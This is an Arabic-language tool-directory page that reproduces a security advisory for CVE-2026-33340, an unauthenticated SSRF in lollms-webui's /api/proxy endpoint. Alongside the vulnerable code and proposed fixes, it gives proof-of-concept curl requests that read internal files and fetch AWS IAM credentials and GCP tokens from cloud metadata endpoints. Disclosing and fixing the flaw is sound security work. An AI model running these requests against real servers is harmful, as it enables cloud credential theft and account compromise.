Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33340 — CVE-2026-33340: ثغرة SSRF حرجة في lollms-webui /api/proxy - تزوير طلبات تعسفي بدون مصادقة (CVSS 9.1) | Kitploit
أدوات/GitHubGitHub/regaan/cve-2026-33340
الاستطلاعتحليل الثغرات الأمنيةالاستغلالأمن الويبأمن السحابةالتعلم والتعليم
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: ثغرة SSRF حرجة في lollms-webui /api/proxy - تزوير طلبات تعسفي بدون مصادقة (CVSS 9.1)

عرض المستودع
16منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33340: ثغرة SSRF في lollms-webui

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-33340
نوع الثغرةتزوير الطلبات من جانب الخادم (SSRF)
المنتج المتأثرParisNeo/lollms-webui (LoLLMs WEBUI)
الخطورةحرجة — CVSS 9.1
ناقل CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: تزوير الطلبات من جانب الخادم (SSRF)
المكوّن المتأثرlollms_core/lollms/server/endpoints/lollms_apps.py
نقطة النهاية المعرضة/api/proxy
الاستشارة الأمنيةGHSA-mcwr-5469-pxj4
NVDإدخال NVD
SentinelOneتحليل SentinelOne
اكتُشفت بواسطةRegaan R — ROT مختبر أبحاث أمنية مستقل

الملخص

تم تحديد ثغرة حرجة من نوع تزوير الطلبات من جانب الخادم (SSRF) في lollms-webui، وهي الواجهة الإلكترونية لأنظمة اللغات الكبيرة والأنظمة متعددة الوسائط (LoLLMs). تسمح نقطة النهاية @router.post("/api/proxy") للمهاجمين غير المصادَق عليهم بإجبار الخادم على إرسال طلبات GET عشوائية. يمكن استغلال ذلك للوصول إلى الخدمات الداخلية، أو فحص الشبكات المحلية، أو استخراج بيانات وصفية حساسة من السحابة مثل رموز IAM الخاصة بـ AWS/GCP.


المنتج المتأثر

  • المستودع: ParisNeo/lollms-webui / ParisNeo/lollms
  • المكوّن المتأثر: lollms_core/lollms/server/endpoints/lollms_apps.py (الأسطر 443-450)
  • نقطة النهاية المعرضة: /api/proxy
  • الإصدارات المتأثرة: جميع الإصدارات المعروفة الحالية

تحليل السبب الجذري

توجد الثغرة لأن دالة proxy في lollms_apps.py لا تنفّذ المصادقة أو أي شكل من أشكال التحقق من صحة عناوين URL/النطاقات. فهي تقبل سلسلة عنوان URL خام من المستخدم وتمررها مباشرة إلى عميل HTTP غير متزامن.

الشفرة المعرضة للخطر

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

مواطن الخلل

  1. لا توجد مصادقة: لا تستدعي نقطة النهاية check_access(lollmsElfServer, request.client_id) أو أي برمجية وسيطة للمصادقة، مما يسمح لأي مستخدم غير مصادَق باستدعائها.
  2. لا يوجد تحقق من صحة URL: يتم تمرير عنوان URL الذي يقدمه المستخدم مباشرة إلى httpx.AsyncClient().get() دون التحقق من الوجهة مقابل قائمة بيضاء أو حظر نطاقات عناوين IP الخاصة/الداخلية.
  3. الكشف الكامل للاستجابة: يتم إرجاع نص استجابة HTTP بالكامل إلى المتصل عبر {"content": response.text}، مما يسمح باستخراج كامل للبيانات.

إثبات المفهوم

الخطوة 1 — إعداد خدمة داخلية محاكاة

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

الخطوة 2 — استغلال ثغرة SSRF

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

الخطوة 3 — لاحظ الاستجابة

{"content": "INTERNAL_SECRET_DATA\n"}

جلب الخادم الملف من الخدمة الداخلية وأعاد محتواه إلى المهاجم.

استغلال البيانات الوصفية السحابية

# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

التأثير

السيناريوالوصف
سرقة بيانات الاعتماد السحابيةيمكن للمهاجمين على المنصات السحابية (AWS/GCP/Azure) الوصول إلى http://169.254.169.254/ لاسترداد البيانات الوصفية للمثيل وبيانات اعتماد IAM ورموز الوصول — مما يؤدي إلى اختراق كامل لحساب السحابة.
التنقل داخل الشبكة الداخليةيمكن للمهاجمين فحص قواعد البيانات الداخلية وواجهات برمجة التطبيقات ولوحات الإدارة وواجهات الإدارة غير المعرّضة للإنترنت العام.
الوصول إلى خدمات المضيف المحلييمكن للمهاجمين الوصول إلى الخدمات المرتبطة بـ localhost (مثل Redis وElasticsearch وDocker API ووحدات تحكم قواعد البيانات) التي تثق ضمنيًا في حركة المرور المحلية.
فحص المنافذ الداخليةيمكن استخدام ثغرة SSRF لتعداد المنافذ المفتوحة والخدمات قيد التشغيل على الشبكة الداخلية من خلال ملاحظة توقيت الاستجابات ورسائل الخطأ.
استخراج البياناتيمكن قراءة أي بيانات يمكن الوصول إليها عبر HTTP ضمن نطاق شبكة الخادم وإعادتها إلى المهاجم.

سير الهجوم

Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

الإصلاح المقترح

1. إضافة المصادقة

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. تنفيذ التحقق من صحة URL

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. التقييد بالنطاقات المسموح بها

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

حالة التصحيح

اعتبارًا من تاريخ النشر، تم بالفعل إصدار نسخة مُصحَّحة من lollms-webui.


الخط الزمني

التاريخالحدث
2026-03-07تم اكتشاف الثغرة والإبلاغ عنها عبر استشارة GitHub الأمنية
2026-03-24تم نشر CVE-2026-33340 في NVD
2026-03-25تم تحديث إدخال قاعدة بيانات NVD
2026-03-27نشرت SentinelOne تحليل الثغرة

المراجع

تنزيل الأداة